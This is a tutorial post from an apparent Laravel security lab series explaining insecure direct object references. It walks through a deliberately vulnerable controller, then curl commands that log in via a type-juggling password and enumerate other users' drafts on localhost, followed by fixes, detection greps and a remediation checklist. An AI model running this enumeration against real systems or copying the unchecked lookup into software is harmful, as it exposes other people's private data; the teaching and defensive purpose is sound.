CWE-639 · CWE-284 · OWASP A01:2021

Before you start — pull the latest code

This post references a codebase update that landed recently. Make sure you're on the latest commit before running anything here, or the seed data and routes won't match up:

git pull origin main

Then bring the containers up and rebuild the database:

docker compose up -d
docker compose exec dvla-admin php artisan migrate:fresh --seed

Picture a URL with a number in it: /posts/42, /invoices/7, /drafts/1. If the server just grabs whatever matches that number and hands it back without checking whether you're actually allowed to see it, any logged-in user can read or change anyone else's stuff just by swapping the number. The list page that filters to show only your things? That doesn't protect the detail page at all. They're separate HTTP requests. The database does exactly what you tell it, it has no clue who should or shouldn't be asking.

Where This Sits in the Kill Chain

By this point in ArtisanBreach, the attacker's already in. Could be from mass assignment at registration (Post 1), or the type juggling bypass at /contributor-login (Post 3). IDOR is what comes next: turning having an account into reading stuff that isn't yours. Here, it's a contributor quietly pulling up internal editorial docs they were never supposed to lay eyes on.

IDOR in Laravel

Vulnerability Classification

CWE-639 Authorization Bypass Through User-Controlled Key. The object gets looked up by a value the user supplies directly in the URL.
CWE-284 Improper Access Control. The app never actually checks whether the logged-in user should be able to touch that resource.
OWASP Top 10 A01:2021, Broken Access Control. Top spot since 2021, up from #5 in 2017. IDOR is a huge part of why it climbed to #1.
OWASP API Security API1:2023, Broken Object Level Authorization (BOLA). Same problem, different name, same pain.
Real-world precedents CVE-2021-36539 (Instructure Canvas LMS): unprivileged users could pull locked and unpublished files by hitting the DocViewer preview URL (canvadoc_session_url) directly. CWE-639, CVSS 6.5. Same shape as this lab: stuff that wasn't meant to be public, exposed just by asking for it.
CVE-2025-14594 (GitLab CE/EE): logged-in users could read restricted CI/CD pipeline values through an IDOR in the pipeline API. CWE-639. Proof this class of bug still ships in mature, security-conscious products all the time.

The Wrong Mental Model (and Why It's So Easy to Fall Into)

IDOR doesn't happen because developers forget about security. It happens because of a specific, convincing, completely wrong mental model. It goes like this:

"The list only shows the user their own stuff, so they can only navigate to their own stuff. I don't need an extra check on the detail page."

That reasoning has a category error baked right into it. The list view and the detail view are independent HTTP requests. The user's browser doesn't enforce what was on the list. An attacker doesn't even use the browser, they send HTTP requests directly. The URL isn't a menu you browse. It's a function call any client can make with any arguments it wants.

Think of it like this. Imagine a bank vault where the teller only shows you your account number on screen. But if you walk up to the vault door and punch in someone else's account number directly, it opens anyway, because the door has no idea whose screen showed what. The display and the door are two different systems. They don't talk to each other.

That's IDOR. The list filtering is the display. The detail endpoint is the door. They share no context.

IDOR in Laravel
What this looks like in the real world
Private media on major social platforms has been reachable over and over just by tweaking a numeric media ID in an API request, with nobody checking who owns the file being fetched. The fix each time is a single authorization check. But the exposure window covers every object that identifier can reach. Same shape has hit LMS platforms, CI/CD tooling, and most big SaaS products at least once. This isn't some obscure edge case.

The ArtisanBreach Contributor Portal

ArtisanBreach LLC slapped together a contributor draft workflow in v2.1. Contributors log in at /contributor-login, preview their drafts at /contributor/drafts, and wait for an admin to publish.

The feature was built in a hurry. The list endpoint was scoped correctly. The detail endpoint had a comment:

// TODO: Add ownership check before launch, ticket #3112

Ticket #3112 was never resolved. The feature shipped. The // TODO is still sitting there in production.

This is exactly how IDOR ends up in real codebases. Not because the developer didn't know about authorization, but because the list view worked correctly and felt done. The detail view was an afterthought. The TODO was honest, somebody knew the check was missing. Then the sprint ended.

The seeded data

ID user_id status title Accessible to Sarah?
1 1 (admin) draft CONFIDENTIAL: Executive Compensation Review No, but IDOR allows it
2 2 (Sarah) draft Q3 Roadmap Notes Yes, legitimately hers
3 1 (admin) published Site Relaunch Announcement No, but IDOR allows it

Sarah's dashboard shows her exactly one post: ID 2. The list query is correct. But the detail endpoint for ID 1 and ID 3 comes back with full content without checking whether Sarah should be seeing any of it. Integer IDs are sequential, totally predictable, and take zero effort to guess.

Vulnerable Code Walkthrough

Routes
Auth middleware only, zero ownership constraint
// routes/web.php

// List, middleware checks authentication, not ownership
Route::get('/contributor/drafts', [\App\Http\Controllers\Contributor\PostController::class, 'index'])
    ->name('contributor.drafts');

// Detail, same: auth only. The controller is responsible for authorization.
//         It does not perform it.
Route::get('/contributor/drafts/{id}', [\App\Http\Controllers\Contributor\PostController::class, 'show'])
    ->name('contributor.drafts.show');
    // {id} is a raw integer from the URL. Any integer. No constraint.
Controller
Filtered index, wide-open show
// app/Http/Controllers/Contributor/PostController.php

public function index(): View
{
    $drafts = Post::where('user_id', auth()->id())  // correctly scoped
        ->latest()
        ->get();

    return view('contributor.drafts', compact('drafts'));
}

/**
 * TODO: Add ownership check before launch, ticket #3112
 */
public function show(int $id): View
{
    // Loads any post by primary key with no authorization check.
    // auth()->id() is never consulted here.
    // Sarah, the admin, or anyone else with a session gets the same result.
    $post = Post::findOrFail($id);

    return view('contributor.post-preview', compact('post'));
}
Notice the asymmetry
The index() method has where('user_id', auth()->id()). The developer knew about ownership scoping. They applied it to the list. They didn't apply it to the detail. This is the exact gap IDOR thrives in: correct thinking applied inconsistently across methods that handle the same resource.
Migration
user_id tracks ownership, but the controller pretends it doesn't exist
// database/migrations/2024_06_08_224637_create_posts_table.php
Schema::create('posts', function (Blueprint $table) {
    $table->id();
    // Tracks which CMS user authored the post.
    $table->foreignId('user_id')->nullable()->constrained()->nullOnDelete();
    $table->string('title');
    // ...
    $table->enum('status', ['draft', 'published'])->default('draft');
});

The ownership data is sitting right there in the database. The column exists. The relationship is defined. Every piece of info needed to enforce access control is sitting unused in every row. The problem isn't missing data, it's a missing check.

The Attack

IDOR in Laravel - The Attack
Step 1

Log in as the contributor (or reuse the type juggling session from Post 3):

TOKEN=$(curl -s http://localhost:8084/contributor-login \
  | grep -oP '(?<=name="_token" value=")[^"]*')

curl -s -X POST http://localhost:8084/contributor-login \
  -c cookies.txt -b cookies.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "_token=$TOKEN" \
  --data-urlencode "email=contributor@artisanbreach.com" \
  --data-urlencode "password=QNKCDZO"
# 302 redirect to the contributor dashboard (authenticated via type juggling bypass)
Step 2

Visit your own dashboard, observe the post ID in the URL:

curl -s -b cookies.txt http://localhost:8084/contributor/drafts | grep -o 'drafts/[0-9]*'
# drafts/2   only Post ID 2 visible in the list
Step 3

Change the ID. Read the admin's confidential draft:

curl -s -b cookies.txt http://localhost:8084/contributor/drafts/1 | grep -A5 'CONFIDENTIAL\|compensation'
# CONFIDENTIAL: Executive Compensation Review
# Internal draft covering executive compensation adjustments for the next
# fiscal year. This has not been approved for release.
Step 4

Enumerate the entire posts table with a loop. No guessing required:

for id in $(seq 1 20); do
  result=$(curl -s -b cookies.txt -o /dev/null -w "%{http_code}" \
    http://localhost:8084/contributor/drafts/$id)
  [ "$result" = "200" ] && echo "Post $id -> 200 OK (exists)"
  [ "$result" = "404" ] && echo "Post $id -> 404 Not Found"
done
# Post 1 -> 200 OK (exists)   : admin's confidential draft
# Post 2 -> 200 OK (exists)   : Sarah's own post
# Post 3 -> 200 OK (exists)   : admin's published post

The entire posts table is now mapped out. Every draft, published or not, confidential or not, belonging to any user, fully readable with one HTTP request each. No special tools. No brute force. Just bumping a number up by one.

What an Attacker Can Do With This

Information disclosure
  • All unpublished drafts, including confidential internal documents
  • Full post content, slugs, meta descriptions, and status flags
  • Author IDs leaked, mapping user accounts to content
  • Embargoed or legally-reviewed content exposed before publication
Escalation potential
  • If the detail endpoint takes PUT/PATCH, IDOR goes from reading to tampering: modifying other people's content before it's published
  • Sequential integer IDs are fully enumerable, no guessing at all
  • Chained with type juggling (Post 3): no legitimate credential needed
  • Chained with mass assignment (Post 2): attacker can register as admin and IDOR every route simultaneously
Why integer IDs make this so much worse
Sequential numeric IDs tell an attacker exactly how many records exist and exactly what to request. There's no search space to figure out: IDs go from 1 to N, and N is often guessable from the ID on your own stuff. This is why IDOR is so fast to exploit once you spot it, a two-line shell loop covers the whole dataset in seconds. The vulnerability itself is the authorization gap; integer IDs just strip away the last bit of friction.

The Fix

IDOR in Laravel - The Fix
Minimum viable fix
Fix A: manual ownership WHERE clause
// app/Http/Controllers/Contributor/PostController.php
// Route stays /contributor/drafts/{id}, this fix takes a raw int, no binding change.
public function show(int $id): View
{
    $post = Post::where('id', $id)
        ->where('user_id', auth()->id())    // enforces ownership
        ->firstOrFail();                    // 404 if not found OR not owned

    return view('contributor.post-preview', compact('post'));
}

This works. It closes the IDOR on this one method. The catch: you have to manually add it to every single method that touches a post: show, edit, update, destroy, duplicate, any new endpoint you add later on. Skip one, and you're right back where you started. That's why Fix B exists.

Recommended
Fix B: Laravel Policy with Route Model Binding
php artisan make:policy PostPolicy --model=Post
// app/Policies/PostPolicy.php
class PostPolicy
{
    // $user->id and $post->user_id are both integers (Eloquent casts keys to int),
    // so the strict === comparison is safe and fails closed.
    public function view(User $user, Post $post): bool
    {
        return $user->id === $post->user_id;
    }

    public function update(User $user, Post $post): bool
    {
        return $user->id === $post->user_id;
    }
}
// routes/web.php
// Change the route key from {id} to {post} so implicit model binding
// can resolve the Post automatically. This step is required for Fix B.
Route::get('/contributor/drafts/{post}', [PostController::class, 'show'])
    ->name('contributor.drafts.show');
// app/Http/Controllers/Contributor/PostController.php

class PostController extends Controller
{
    // Route Model Binding on {post} resolves the model from the URL.
    // The policy check is one line. The logic lives in one place.
    public function show(Post $post): View
    {
        $this->authorize('view', $post);         // PostPolicy::view(), 403 if not owner
        return view('contributor.post-preview', compact('post'));
    }

    public function update(Request $request, Post $post): RedirectResponse
    {
        $this->authorize('update', $post);       // same policy, different method
        // ...
    }
}
Laravel 11/12 gotcha: check before leaning on $this->authorize()
Since Laravel 11, a fresh app skeleton ships a bare base Controller with no traits, so $this->authorize() throws "Call to undefined method" until you add AuthorizesRequests yourself (to the controller or your base Controller). This app's own app/Http/Controllers/Controller.php already includes it, so $this->authorize() works out of the box here, but don't assume that on another Laravel 11/12 project without checking. If you'd rather not depend on the trait being there, call Gate::authorize('view', $post) instead. The current Laravel docs actually recommend the Gate facade for exactly this reason.
Why policies beat manual checks for anything beyond a single endpoint
A manual where('user_id') has to be added to every method that touches the resource. A policy gets defined once and enforced by calling $this->authorize() (or Gate::authorize()). When you add a new endpoint later, destroy, duplicate, export, the policy is already there. You just call it. Manual checks require remembering to add them; policies require remembering to skip them, which is a way rarer mistake. Default-deny as a structural property, not a discipline requirement.
Defence in depth
Fix C: non-enumerable identifiers (secondary layer)
// Replace integer IDs with UUIDs to remove sequential enumerability.
// This does NOT fix the authorization bug; it only makes discovery harder.
// Always apply an authorization check regardless of ID format.

// Migration (expression defaults require MySQL 8.0.13+; on SQLite or older
// MySQL, generate the UUID in the model via the HasUuids trait instead):
$table->uuid('public_id')->default(DB::raw('(UUID())'))->after('id');

// Route:
Route::get('/contributor/drafts/{post:public_id}', [PostController::class, 'show']);
// Laravel resolves: Post::where('public_id', $routeValue)->firstOrFail()
UUIDs aren't a fix. They're friction.
A UUID like 550e8400-e29b-41d4-a716-446655440000 isn't guessable the way 42 is. But if that UUID leaks anywhere, a log file, an error message, a referrer header, another API response, someone who gets their hands on it can still exploit the IDOR. The authorization check is the fix. UUIDs just buy you time if the check isn't there.

Finding It in Your Codebase

1. Controllers loading models without any ownership checks
# Methods using findOrFail / find without a where('user_id') or authorize() nearby
grep -rn 'findOrFail\|->find(' app/Http/Controllers/ \
  | grep -v 'where.*user_id\|authorize\|Gate::'
# Each match needs manual review
2. Routes with no policy binding visible
php artisan route:list --columns=method,uri,action | grep contributor
# GET  contributor/drafts/{id}  Contributor\PostController@show
# No policy binding at the route level, inspect the controller manually
3. Tinker: manually verify the authorization gap on live data
php artisan tinker --execute "
    \$contributor = App\Models\User::where('email', 'contributor@artisanbreach.com')->first();
    \$adminPost   = App\Models\Post::where('user_id', 1)->first();

    echo 'Post owner: '     . \$adminPost->user_id    . PHP_EOL;
    echo 'Requester: '      . \$contributor->id        . PHP_EOL;
    echo 'Same owner? '     . (\$adminPost->user_id === \$contributor->id ? 'YES' : 'NO') . PHP_EOL;
    echo 'IDOR possible: '  . (\$adminPost->user_id !== \$contributor->id ? 'YES' : 'No') . PHP_EOL;
"
# Post owner:    1
# Requester:     2
# Same owner?    NO
# IDOR possible: YES

Remediation Checklist

  • Add an ownership where('user_id', auth()->id()) to every findOrFail() call on user-owned resources as an immediate fix.
  • Generate a PostPolicy with view, update, and delete methods. Call $this->authorize() (or Gate::authorize()) in every corresponding controller method.
  • Switch all user-facing routes to Route Model Binding (rename the route key to {post} and type-hint Post $post) so Laravel resolves the model and policies can be applied consistently.
  • If you use $this->authorize() on Laravel 11/12, add the AuthorizesRequests trait to your base controller, or switch to the Gate facade.
  • Write a feature test that authenticates as User A and requests a resource belonging to User B. Assert 403 or 404, never 200.
  • Run the grep detection command above across all controllers. Review every findOrFail that lacks a neighbouring ownership scope or authorize() call.
  • Consider UUIDs for public-facing object identifiers to remove sequential enumeration. Treat this as secondary defence only; it does not replace authorization checks.
  • Rely on policy auto-discovery (App\Models\Post resolves to App\Policies\PostPolicy by convention in Laravel 12). If you need explicit registration, call Gate::policy(Post::class, PostPolicy::class) in a service provider boot() method such as AppServiceProvider. AuthServiceProvider is no longer part of the default Laravel 11/12 skeleton.

Why IDOR Is #1 on OWASP and Still Everywhere

IDOR has been on the OWASP Top 10 for over a decade. It hit the number one spot in 2021 because it's both the most common and the most consistently underestimated vulnerability class going. The reason it keeps showing up isn't that devs don't know about authorization. It's that authorization is per-request and per-object, and every new endpoint is a fresh chance to skip it while telling yourself the existing checks already cover it.

The Canvas LMS case (CVE-2021-36539) is a clean example: unprivileged users could pull locked and unpublished files just by hitting the preview URL for them. One missing ownership check, and a pile of restricted content became wide open. The GitLab pipeline IDOR (CVE-2025-14594) shows the exact same class landing in a mature, heavily audited product years later. This pattern doesn't age out.

In Laravel specifically, Route Model Binding made IDOR easier to introduce, not harder. Writing Post $post in a method signature looks authoritative. It looks like the framework handled it. But Route Model Binding only resolves the model, it runs Post::findOrFail($id) for you. It doesn't check whether the logged-in user should be allowed to see what it found. That part is still on you. The shorthand invites you to assume resolution means authorization. It really doesn't.

The Takeaway

The list query filtering by user_id isn't a security control. It's a UX feature. It shows users a useful subset of data. It does absolutely nothing to stop them from asking for any other ID directly. The list and the detail are different HTTP requests handled by different controller methods, and each one has to enforce its own authorization independently.

The right mental model: treat every ID in a URL as attacker-controlled input, because it is. An ID in a URL is no different from a field in a form. The server has to verify that the logged-in user is allowed to do the thing they're asking for on that specific object, on every request, every single time. Laravel Policies exist precisely so you can centralize that check and not accidentally leave it off a new endpoint.

The exploit here needed no tools, no fuzzing, and no special knowledge. Just changing a 2 to a 1 in the browser address bar. The information that came back was an unpublished confidential editorial planning document. The fix is a handful of lines of policy code and one authorize() call per method.